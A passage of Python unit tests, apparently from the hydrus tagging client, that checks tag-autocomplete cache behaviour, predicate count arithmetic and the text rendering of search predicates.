) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_empty, True ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_empty, False ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_samus, True ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_samus, False ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_samus_ar, True ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_samus_ar, False ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_character_samus, True ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_character_samus, False ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_character_samus_ar, True ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_character_samus_ar, False ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_character_samus_br, True ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_character_samus_br, False ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_metroid, True ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_metroid, False ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_series_samus, True ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_series_samus, False ), False ) # search_namespaces_into_full_tags = True namespace_bare_fetch_all_allowed = True namespace_fetch_all_allowed = True fetch_all_allowed = False tag_autocomplete_options.SetTuple( tag_autocomplete_options.GetWriteAutocompleteTagDomain(), tag_autocomplete_options.OverridesWriteAutocompleteFileDomain(), tag_autocomplete_options.GetWriteAutocompleteFileDomain(), search_namespaces_into_full_tags, namespace_bare_fetch_all_allowed, namespace_fetch_all_allowed, fetch_all_allowed ) pat_empty = ClientSearch.ParsedAutocompleteText( '', tag_autocomplete_options, True ) pat_samus = ClientSearch.ParsedAutocompleteText( 'samus', tag_autocomplete_options, True ) pat_samus_ar = ClientSearch.ParsedAutocompleteText( 'samus ar', tag_autocomplete_options, True ) pat_samus_br = ClientSearch.ParsedAutocompleteText( 'samus br', tag_autocomplete_options, True ) pat_character_samus = ClientSearch.ParsedAutocompleteText( 'character:samus', tag_autocomplete_options, True ) pat_character_samus_ar = ClientSearch.ParsedAutocompleteText( 'character:samus ar', tag_autocomplete_options, True ) pat_character_samus_br = ClientSearch.ParsedAutocompleteText( 'character:samus br', tag_autocomplete_options, True ) pat_metroid = ClientSearch.ParsedAutocompleteText( 'metroid', tag_autocomplete_options, True ) pat_series_samus = ClientSearch.ParsedAutocompleteText( 'series:samus', tag_autocomplete_options, True ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_empty, True ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_empty, False ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_samus, True ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_samus, False ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_samus_ar, True ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_samus_ar, False ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_character_samus, True ), True ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_character_samus, False ), True ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_character_samus_ar, True ), True ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_character_samus_ar, False ), True ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_character_samus_br, True ), True ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_character_samus_br, False ), True ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_metroid, True ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_metroid, False ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_series_samus, True ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_series_samus, False ), False ) self.assertEqual( set( predicate_results_cache.FilterPredicates( CC.COMBINED_TAG_SERVICE_KEY, 'character:samus' ) ), { character_samus_aran } ) self.assertEqual( set( predicate_results_cache.FilterPredicates( CC.COMBINED_TAG_SERVICE_KEY, 'character:samus*' ) ), { character_samus_aran } ) self.assertEqual( set( predicate_results_cache.FilterPredicates( CC.COMBINED_TAG_SERVICE_KEY, 'character:samus ar*' ) ), { character_samus_aran } ) self.assertEqual( set( predicate_results_cache.FilterPredicates( CC.COMBINED_TAG_SERVICE_KEY, 'character:samus br*' ) ), set() ) self.assertEqual( set( predicate_results_cache.FilterPredicates( CC.COMBINED_TAG_SERVICE_KEY, 'character:samus aran*' ) ), { character_samus_aran } ) def test_predicate_results_cache_fetch_all_madness( self ): tag_autocomplete_options = ClientTagsHandling.TagAutocompleteOptions( CC.COMBINED_TAG_SERVICE_KEY ) search_namespaces_into_full_tags = False namespace_bare_fetch_all_allowed = False namespace_fetch_all_allowed = False fetch_all_allowed = False tag_autocomplete_options.SetTuple( tag_autocomplete_options.GetWriteAutocompleteTagDomain(), tag_autocomplete_options.OverridesWriteAutocompleteFileDomain(), tag_autocomplete_options.GetWriteAutocompleteFileDomain(), search_namespaces_into_full_tags, namespace_bare_fetch_all_allowed, namespace_fetch_all_allowed, fetch_all_allowed ) pat_empty = ClientSearch.ParsedAutocompleteText( '', tag_autocomplete_options, True ) pat_samus = ClientSearch.ParsedAutocompleteText( 'samus', tag_autocomplete_options, True ) pat_samus_ar = ClientSearch.ParsedAutocompleteText( 'samus ar', tag_autocomplete_options, True ) pat_samus_br = ClientSearch.ParsedAutocompleteText( 'samus br', tag_autocomplete_options, True ) pat_character_samus = ClientSearch.ParsedAutocompleteText( 'character:samus', tag_autocomplete_options, True ) pat_character_samus_ar = ClientSearch.ParsedAutocompleteText( 'character:samus ar', tag_autocomplete_options, True ) pat_character_samus_br = ClientSearch.ParsedAutocompleteText( 'character:samus br', tag_autocomplete_options, True ) pat_metroid = ClientSearch.ParsedAutocompleteText( 'metroid', tag_autocomplete_options, True ) pat_series_samus = ClientSearch.ParsedAutocompleteText( 'series:samus', tag_autocomplete_options, True ) samus = ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_TAG, 'samus' ) samus_aran = ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_TAG, 'samus aran' ) character_samus_aran = ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_TAG, 'character:samus aran' ) predicates = [ samus, samus_aran, character_samus_aran ] predicate_results_cache = ClientSearch.PredicateResultsCacheTag( predicates, '*', False ) self.assertEqual( predicate_results_cache.GetPredicates(), predicates ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_empty, True ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_empty, False ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_samus, True ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_samus, False ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_samus_ar, True ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_samus_ar, False ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_character_samus, True ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_character_samus, False ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_character_samus_ar, True ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_character_samus_ar, False ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_character_samus_br, True ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_character_samus_br, False ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_metroid, True ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_metroid, False ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_series_samus, True ), False ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_series_samus, False ), False ) # search_namespaces_into_full_tags = True namespace_bare_fetch_all_allowed = True namespace_fetch_all_allowed = True fetch_all_allowed = True tag_autocomplete_options.SetTuple( tag_autocomplete_options.GetWriteAutocompleteTagDomain(), tag_autocomplete_options.OverridesWriteAutocompleteFileDomain(), tag_autocomplete_options.GetWriteAutocompleteFileDomain(), search_namespaces_into_full_tags, namespace_bare_fetch_all_allowed, namespace_fetch_all_allowed, fetch_all_allowed ) pat_empty = ClientSearch.ParsedAutocompleteText( '', tag_autocomplete_options, True ) pat_samus = ClientSearch.ParsedAutocompleteText( 'samus', tag_autocomplete_options, True ) pat_samus_ar = ClientSearch.ParsedAutocompleteText( 'samus ar', tag_autocomplete_options, True ) pat_samus_br = ClientSearch.ParsedAutocompleteText( 'samus br', tag_autocomplete_options, True ) pat_character_samus = ClientSearch.ParsedAutocompleteText( 'character:samus', tag_autocomplete_options, True ) pat_character_samus_ar = ClientSearch.ParsedAutocompleteText( 'character:samus ar', tag_autocomplete_options, True ) pat_character_samus_br = ClientSearch.ParsedAutocompleteText( 'character:samus br', tag_autocomplete_options, True ) pat_metroid = ClientSearch.ParsedAutocompleteText( 'metroid', tag_autocomplete_options, True ) pat_series_samus = ClientSearch.ParsedAutocompleteText( 'series:samus', tag_autocomplete_options, True ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_empty, True ), True ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_empty, False ), True ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_samus, True ), True ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_samus, False ), True ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_samus_ar, True ), True ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_samus_ar, False ), True ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_character_samus, True ), True ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_character_samus, False ), True ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_character_samus_ar, True ), True ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_character_samus_ar, False ), True ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_character_samus_br, True ), True ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_character_samus_br, False ), True ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_metroid, True ), True ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_metroid, False ), True ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_series_samus, True ), True ) self.assertEqual( predicate_results_cache.CanServeTagResults( pat_series_samus, False ), True ) self.assertEqual( set( predicate_results_cache.FilterPredicates( CC.COMBINED_TAG_SERVICE_KEY, 'character:samus' ) ), { character_samus_aran } ) self.assertEqual( set( predicate_results_cache.FilterPredicates( CC.COMBINED_TAG_SERVICE_KEY, 'character:samus*' ) ), { character_samus_aran } ) self.assertEqual( set( predicate_results_cache.FilterPredicates( CC.COMBINED_TAG_SERVICE_KEY, 'character:samus ar*' ) ), { character_samus_aran } ) self.assertEqual( set( predicate_results_cache.FilterPredicates( CC.COMBINED_TAG_SERVICE_KEY, 'character:samus br*' ) ), set() ) self.assertEqual( set( predicate_results_cache.FilterPredicates( CC.COMBINED_TAG_SERVICE_KEY, 'character:samus aran*' ) ), { character_samus_aran } ) self.assertEqual( set( predicate_results_cache.FilterPredicates( CC.COMBINED_TAG_SERVICE_KEY, 'samus' ) ), { samus, samus_aran, character_samus_aran } ) self.assertEqual( set( predicate_results_cache.FilterPredicates( CC.COMBINED_TAG_SERVICE_KEY, 'samus*' ) ), { samus, samus_aran, character_samus_aran } ) self.assertEqual( set( predicate_results_cache.FilterPredicates( CC.COMBINED_TAG_SERVICE_KEY, 'samas br*' ) ), set() ) self.assertEqual( set( predicate_results_cache.FilterPredicates( CC.COMBINED_TAG_SERVICE_KEY, 'samus ar*' ) ), { samus_aran, character_samus_aran } ) self.assertEqual( set( predicate_results_cache.FilterPredicates( CC.COMBINED_TAG_SERVICE_KEY, 'samus aran*' ) ), { samus_aran, character_samus_aran } ) def test_predicate_counts( self ): # quick test for counts and __hash__ p_c = ClientSearch.PredicateCount( 1, 2, 3, 4 ) self.assertEqual( p_c.min_current_count, 1 ) self.assertEqual( p_c.min_pending_count, 2 ) self.assertEqual( p_c.max_current_count, 3 ) self.assertEqual( p_c.max_pending_count, 4 ) self.assertNotEqual( p_c, ClientSearch.PredicateCount( 1, 2, 3, 5 ) ) self.assertNotEqual( p_c, ClientSearch.PredicateCount( 1, 5, 3, 4 ) ) self.assertEqual( p_c, ClientSearch.PredicateCount( 1, 2, 3, 4 ) ) # null = ClientSearch.PredicateCount.STATICCreateNullCount() self.assertEqual( null, ClientSearch.PredicateCount( 0, 0, 0, 0 ) ) self.assertEqual( null.GetMinCount(), 0 ) self.assertEqual( null.GetMinCount( HC.CONTENT_STATUS_CURRENT ), 0 ) self.assertEqual( null.GetMinCount( HC.CONTENT_STATUS_PENDING ), 0 ) self.assertEqual( null.HasZeroCount(), True ) self.assertEqual( null.HasNonZeroCount(), False ) self.assertEqual( null.GetSuffixString(), '' ) # p_c = ClientSearch.PredicateCount( 3, 0, 3, 0 ) self.assertEqual( p_c, ClientSearch.PredicateCount( 3, 0, 3, 0 ) ) self.assertEqual( p_c.GetMinCount(), 3 ) self.assertEqual( p_c.GetMinCount( HC.CONTENT_STATUS_CURRENT ), 3 ) self.assertEqual( p_c.GetMinCount( HC.CONTENT_STATUS_PENDING ), 0 ) self.assertEqual( p_c.HasZeroCount(), False ) self.assertEqual( p_c.HasNonZeroCount(), True ) self.assertEqual( p_c.GetSuffixString(), '(3)' ) # p_c = ClientSearch.PredicateCount( 0, 5, 0, 5 ) self.assertEqual( p_c, ClientSearch.PredicateCount( 0, 5, 0, 5 ) ) self.assertEqual( p_c.GetMinCount(), 5 ) self.assertEqual( p_c.GetMinCount( HC.CONTENT_STATUS_CURRENT ), 0 ) self.assertEqual( p_c.GetMinCount( HC.CONTENT_STATUS_PENDING ), 5 ) self.assertEqual( p_c.HasZeroCount(), False ) self.assertEqual( p_c.HasNonZeroCount(), True ) self.assertEqual( p_c.GetSuffixString(), '(+5)' ) # p_c = ClientSearch.PredicateCount( 100, 0, 150, 0 ) self.assertEqual( p_c, ClientSearch.PredicateCount( 100, 0, 150, 0 ) ) self.assertEqual( p_c.GetMinCount(), 100 ) self.assertEqual( p_c.GetMinCount( HC.CONTENT_STATUS_CURRENT ), 100 ) self.assertEqual( p_c.GetMinCount( HC.CONTENT_STATUS_PENDING ), 0 ) self.assertEqual( p_c.HasZeroCount(), False ) self.assertEqual( p_c.HasNonZeroCount(), True ) self.assertEqual( p_c.GetSuffixString(), '(100-150)' ) # p_c = ClientSearch.PredicateCount( 0, 80, 0, 85 ) self.assertEqual( p_c, ClientSearch.PredicateCount( 0, 80, 0, 85 ) ) self.assertEqual( p_c.GetMinCount(), 80 ) self.assertEqual( p_c.GetMinCount( HC.CONTENT_STATUS_CURRENT ), 0 ) self.assertEqual( p_c.GetMinCount( HC.CONTENT_STATUS_PENDING ), 80 ) self.assertEqual( p_c.HasZeroCount(), False ) self.assertEqual( p_c.HasNonZeroCount(), True ) self.assertEqual( p_c.GetSuffixString(), '(+80-85)' ) # p_c = ClientSearch.PredicateCount( 0, 0, 1500, 0 ) self.assertEqual( p_c, ClientSearch.PredicateCount( 0, 0, 1500, 0 ) ) self.assertEqual( p_c.GetMinCount(), 0 ) self.assertEqual( p_c.GetMinCount( HC.CONTENT_STATUS_CURRENT ), 0 ) self.assertEqual( p_c.GetMinCount( HC.CONTENT_STATUS_PENDING ), 0 ) self.assertEqual( p_c.HasZeroCount(), False ) self.assertEqual( p_c.HasNonZeroCount(), True ) self.assertEqual( p_c.GetSuffixString(), '(0-1,500)' ) # p_c = ClientSearch.PredicateCount( 1, 2, 3, 4 ) self.assertEqual( p_c, ClientSearch.PredicateCount( 1, 2, 3, 4 ) ) self.assertEqual( p_c.GetMinCount(), 3 ) self.assertEqual( p_c.GetMinCount( HC.CONTENT_STATUS_CURRENT ), 1 ) self.assertEqual( p_c.GetMinCount( HC.CONTENT_STATUS_PENDING ), 2 ) self.assertEqual( p_c.HasZeroCount(), False ) self.assertEqual( p_c.HasNonZeroCount(), True ) self.assertEqual( p_c.GetSuffixString(), '(1-3) (+2-4)' ) # p_c_1 = ClientSearch.PredicateCount( 10, 2, 12, 4 ) p_c_2 = ClientSearch.PredicateCount( 1, 0, 2, 4 ) p_c_1.AddCounts( p_c_2 ) self.assertEqual( p_c_1, ClientSearch.PredicateCount( 10, 2, 14, 8 ) ) def test_predicate_strings_and_namespaces( self ): render_for_user = False p = ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_TAG, 'tag' ) self.assertEqual( p.ToString(), 'tag' ) self.assertEqual( p.GetNamespace(), '' ) self.assertEqual( p.GetTextsAndNamespaces( render_for_user ), [ ( p.ToString(), p.GetNamespace() ) ] ) p = ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_TAG, 'tag', True, count = ClientSearch.PredicateCount.STATICCreateStaticCount( 1, 2 ) ) self.assertEqual( p.ToString( with_count = False ), 'tag' ) self.assertEqual( p.ToString( with_count = True ), 'tag (1) (+2)' ) self.assertEqual( p.GetNamespace(), '' ) self.assertEqual( p.GetTextsAndNamespaces( render_for_user ), [ ( p.ToString(), p.GetNamespace() ) ] ) p = ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_TAG, 'tag', False ) self.assertEqual( p.ToString(), '-tag' ) self.assertEqual( p.GetNamespace(), '' ) self.assertEqual( p.GetTextsAndNamespaces( render_for_user ), [ ( p.ToString(), p.GetNamespace() ) ] ) p = ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_TAG, 'tag', False, count = ClientSearch.PredicateCount.STATICCreateStaticCount( 1, 2 ) ) self.assertEqual( p.ToString( with_count = False ), '-tag' ) self.assertEqual( p.ToString( with_count = True ), '-tag (1) (+2)' ) self.assertEqual( p.GetNamespace(), '' ) self.assertEqual( p.GetTextsAndNamespaces( render_for_user ), [ ( p.ToString(), p.GetNamespace() ) ] ) # p = ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_SYSTEM_AGE, ( '<', 'delta', ( 1, 2, 3, 4 ) ) ) self.assertEqual( p.ToString(), 'system:import time: since 1 year 2 months ago' ) self.assertEqual( p.GetNamespace(), 'system' ) self.assertEqual( p.GetTextsAndNamespaces( render_for_user ), [ ( p.ToString(), p.GetNamespace() ) ] ) p = ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_SYSTEM_AGE, ( CC.UNICODE_ALMOST_EQUAL_TO, 'delta', ( 1, 2, 3, 4 ) ) ) self.assertEqual( p.ToString(), 'system:import time: around 1 year 2 months ago' ) self.assertEqual( p.GetNamespace(), 'system' ) self.assertEqual( p.GetTextsAndNamespaces( render_for_user ), [ ( p.ToString(), p.GetNamespace() ) ] ) p = ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_SYSTEM_AGE, ( '>', 'delta', ( 1, 2, 3, 4 ) ) ) self.assertEqual( p.ToString(), 'system:import time: before 1 year 2 months ago' ) self.assertEqual( p.GetNamespace(), 'system' ) self.assertEqual( p.GetTextsAndNamespaces( render_for_user ), [ ( p.ToString(), p.GetNamespace() ) ] ) p = ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_SYSTEM_ARCHIVE, count = ClientSearch.PredicateCount.STATICCreateCurrentCount( 1000 ) ) self.assertEqual( p.ToString(), 'system:archive (1,000)' ) self.assertEqual( p.GetNamespace(), 'system' ) self.assertEqual( p.GetTextsAndNamespaces( render_for_user ), [ ( p.ToString(), p.GetNamespace() ) ] ) p = ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_SYSTEM_DURATION, ( '<', 200 ) ) self.assertEqual( p.ToString(), 'system:duration < 200 milliseconds' ) self.assertEqual( p.GetNamespace(), 'system' ) self.assertEqual( p.GetTextsAndNamespaces( render_for_user ), [ ( p.ToString(), p.GetNamespace() ) ] ) p = ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_SYSTEM_EVERYTHING, count = ClientSearch.PredicateCount.STATICCreateCurrentCount( 2000 ) ) self.assertEqual( p.ToString(), 'system:everything (2,000)' ) self.assertEqual( p.GetNamespace(), 'system' ) self.assertEqual( p.GetTextsAndNamespaces( render_for_user ), [ ( p.ToString(), p.GetNamespace() ) ] ) p = ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_SYSTEM_FILE_SERVICE, ( True, HC.CONTENT_STATUS_CURRENT, CC.LOCAL_FILE_SERVICE_KEY ) ) self.assertEqual( p.ToString(), 'system:is currently in my files' ) self.assertEqual( p.GetNamespace(), 'system' ) self.assertEqual( p.GetTextsAndNamespaces( render_for_user ), [ ( p.ToString(), p.GetNamespace() ) ] ) p = ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_SYSTEM_FILE_SERVICE, ( True, HC.CONTENT_STATUS_DELETED, CC.LOCAL_FILE_SERVICE_KEY ) ) self.assertEqual( p.ToString(), 'system:is deleted from my files' ) self.assertEqual( p.GetNamespace(), 'system' ) self.assertEqual( p.GetTextsAndNamespaces( render_for_user ), [ ( p.ToString(), p.GetNamespace() ) ] ) p = ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_SYSTEM_FILE_SERVICE, ( False, HC.CONTENT_STATUS_PENDING, CC.LOCAL_FILE_SERVICE_KEY ) ) self.assertEqual( p.ToString(), 'system:is not pending to my files' ) self.assertEqual( p.GetNamespace(), 'system' ) self.assertEqual( p.GetTextsAndNamespaces( render_for_user ), [ ( p.ToString(), p.GetNamespace() ) ] ) p = ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_SYSTEM_FILE_SERVICE, ( False, HC.CONTENT_STATUS_PETITIONED, CC.LOCAL_FILE_SERVICE_KEY ) ) self.assertEqual( p.ToString(), 'system:is not petitioned from my files' ) self.assertEqual( p.GetNamespace(), 'system' ) self.assertEqual( p.GetTextsAndNamespaces( render_for_user ), [ ( p.ToString(), p.GetNamespace() ) ] ) p = ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_SYSTEM_HAS_AUDIO, True ) self.assertEqual( p.ToString(), 'system:has audio' ) self.assertEqual( p.GetNamespace(), 'system' ) self.assertEqual( p.GetTextsAndNamespaces( render_for_user ), [ ( p.ToString(), p.GetNamespace() ) ] ) p = ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_SYSTEM_HAS_AUDIO, False ) self.assertEqual( p.ToString(), 'system:no audio' ) self.assertEqual( p.GetNamespace(), 'system' ) self.assertEqual( p.GetTextsAndNamespaces( render_for_user ), [ ( p.ToString(), p.GetNamespace() ) ] ) p = ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_SYSTEM_HAS_ICC_PROFILE, True ) self.assertEqual( p.ToString(), 'system:has icc profile' ) self.assertEqual( p.GetNamespace(), 'system' ) self.assertEqual( p.GetTextsAndNamespaces( render_for_user ), [ ( p.ToString(), p.GetNamespace() ) ] ) p = ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_SYSTEM_HAS_ICC_PROFILE, False ) self.assertEqual( p.ToString(), 'system:no icc profile' ) self.assertEqual( p.GetNamespace(), 'system' ) self.assertEqual( p.GetTextsAndNamespaces( render_for_user ), [ ( p.ToString(), p.GetNamespace() ) ] ) p = ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_SYSTEM_HASH, ( ( bytes.fromhex( 'abcd' ), ), 'sha256' ) ) self.assertEqual( p.ToString(), 'system:sha256 hash is abcd' ) self.assertEqual( p.GetNamespace(), 'system' ) self.assertEqual( p.GetTextsAndNamespaces( render_for_user ), [ ( p.ToString(), p.GetNamespace() ) ] ) p = ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_SYSTEM_HEIGHT, ( '<', 2000 ) ) self.assertEqual( p.ToString(), 'system:height < 2,000' ) self.assertEqual( p.GetNamespace(), 'system' ) self.assertEqual( p.GetTextsAndNamespaces( render_for_user ), [ ( p.ToString(), p.GetNamespace() ) ] ) p = ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_SYSTEM_INBOX, count = ClientSearch.PredicateCount.STATICCreateCurrentCount( 1000 ) ) self.assertEqual( p.ToString(), 'system:inbox (1,000)' ) self.assertEqual( p.GetNamespace(), 'system' ) self.assertEqual( p.GetTextsAndNamespaces( render_for_user ), [ ( p.ToString(), p.GetNamespace() ) ] ) p = ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_SYSTEM_LIMIT, 2000 ) self.assertEqual( p.ToString(), 'system:limit is 2,000' ) self.assertEqual( p.GetNamespace(), 'system' ) self.assertEqual( p.GetTextsAndNamespaces( render_for_user ), [ ( p.ToString(), p.GetNamespace() ) ] ) p = ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_SYSTEM_LOCAL, count = ClientSearch.PredicateCount.STATICCreateCurrentCount( 100 ) ) self.assertEqual( p.ToString(), 'system:local (100)' ) self.assertEqual( p.GetNamespace(), 'system' ) self.assertEqual( p.GetTextsAndNamespaces( render_for_user ), [ ( p.ToString(), p.GetNamespace() ) ] ) p = ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_SYSTEM_MIME, set( HC.IMAGES ).intersection( HC.SEARCHABLE_MIMES ) ) self.assertEqual( p.ToString(), 'system:filetype is image' ) self.assertEqual( p.GetNamespace(), 'system' ) self.assertEqual( p.GetTextsAndNamespaces( render_for_user ), [ ( p.ToString(), p.GetNamespace() ) ] ) p = ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_SYSTEM_MIME, ( HC.VIDEO_WEBM, ) ) self.assertEqual( p.ToString(), 'system:filetype is webm' ) self.assertEqual( p.GetNamespace(), 'system' ) self.assertEqual( p.GetTextsAndNamespaces( render_for_user ), [ ( p.ToString(), p.GetNamespace() ) ] ) p = ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_SYSTEM_MIME, ( HC.VIDEO_WEBM, HC.IMAGE_GIF ) ) self.assertEqual( p.ToString(), 'system:filetype is webm, gif' ) self.assertEqual( p.GetNamespace(), 'system' ) self.assertEqual( p.GetTextsAndNamespaces( render_for_user ), [ ( p.ToString(), p.GetNamespace() ) ] ) p = ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_SYSTEM_NOT_LOCAL, count = ClientSearch.PredicateCount.STATICCreateCurrentCount( 100 ) ) self.assertEqual( p.ToString(), 'system:not local (100)' ) self.assertEqual( p.GetNamespace(), 'system' ) self.assertEqual( p.GetTextsAndNamespaces( render_for_user ), [ ( p.ToString(), p.GetNamespace() ) ] ) p = ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_SYSTEM_NUM_TAGS, ( None, '<', 2 ) ) self.assertEqual( p.ToString(), 'system:number of tags < 2' ) self.assertEqual( p.GetNamespace(), 'system' ) self.assertEqual( p.GetTextsAndNamespaces( render_for_user ), [ ( p.ToString(), p.GetNamespace() ) ] ) p = ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_SYSTEM_NUM_TAGS, ( 'character', '<', 2 ) ) self.assertEqual( p.ToString(), 'system:number of character tags < 2' ) self.assertEqual( p.GetNamespace(), 'system' ) self.assertEqual( p.GetTextsAndNamespaces( render_for_user ), [ ( p.ToString(), p.GetNamespace() ) ] ) p = ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_SYSTEM_NUM_WORDS, ( '<', 5000 ) ) self.assertEqual( p.ToString(), 'system:number of words < 5,000' ) self.assertEqual( p.GetNamespace(), 'system' ) self.assertEqual( p.GetTextsAndNamespaces( render_for_user ), [ ( p.ToString(), p.GetNamespace() ) ] ) from hydrus.test import TestController p = ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_SYSTEM_RATING, ( '>', 0.2, TestController.LOCAL_RATING_NUMERICAL_SERVICE_KEY ) ) self.assertEqual( p.ToString(), 'system:rating for example local rating numerical service > 1/5' ) self.assertEqual( p.GetNamespace(), 'system' ) self.assertEqual( p.GetTextsAndNamespaces( render_for_user ), [ ( p.ToString(), p.GetNamespace() ) ] ) p = ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_SYSTEM_RATIO, ( '=', 16, 9 ) ) self.assertEqual( p.ToString(), 'system:ratio = 16:9' ) self.assertEqual( p.GetNamespace(), 'system' ) self.assertEqual( p.GetTextsAndNamespaces( render_for_user ), [ ( p.ToString(), p.GetNamespace() ) ] ) p = ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_SYSTEM_SIMILAR_TO, ( ( bytes.fromhex( 'abcd' ), ), 5 ) ) self.assertEqual( p.ToString(), 'system:similar to 1 files using max hamming of 5' ) self.assertEqual( p.GetNamespace(), 'system' ) self.assertEqual( p.GetTextsAndNamespaces( render_for_user ), [ ( p.ToString(), p.GetNamespace() ) ] ) p = ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_SYSTEM_SIZE, ( '>', 5, 1048576 ) ) self.assertEqual( p.ToString(), 'system:filesize > 5MB' ) self.assertEqual( p.GetNamespace(), 'system' ) self.assertEqual( p.GetTextsAndNamespaces( render_for_user ), [ ( p.ToString(), p.GetNamespace() ) ] ) p = ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_SYSTEM_WIDTH, ( '=', 1920 ) ) self.assertEqual( p.ToString(), 'system:width = 1,920' ) self.assertEqual( p.GetNamespace(), 'system' ) self.assertEqual( p.GetTextsAndNamespaces( render_for_user ), [ ( p.ToString(), p.GetNamespace() ) ] ) # p = ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_NAMESPACE, 'series' ) self.assertEqual( p.ToString(), 'series:*anything*' ) self.assertEqual( p.GetNamespace(), 'series' ) self.assertEqual( p.GetTextsAndNamespaces( render_for_user ), [ ( p.ToString(), p.GetNamespace() ) ] ) p = ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_TAG, 'series', False ) self.assertEqual( p.ToString(), '-series' ) self.assertEqual( p.GetNamespace(), '' ) self.assertEqual( p.GetTextsAndNamespaces( render_for_user ), [ ( p.ToString(), p.GetNamespace() ) ] ) # p 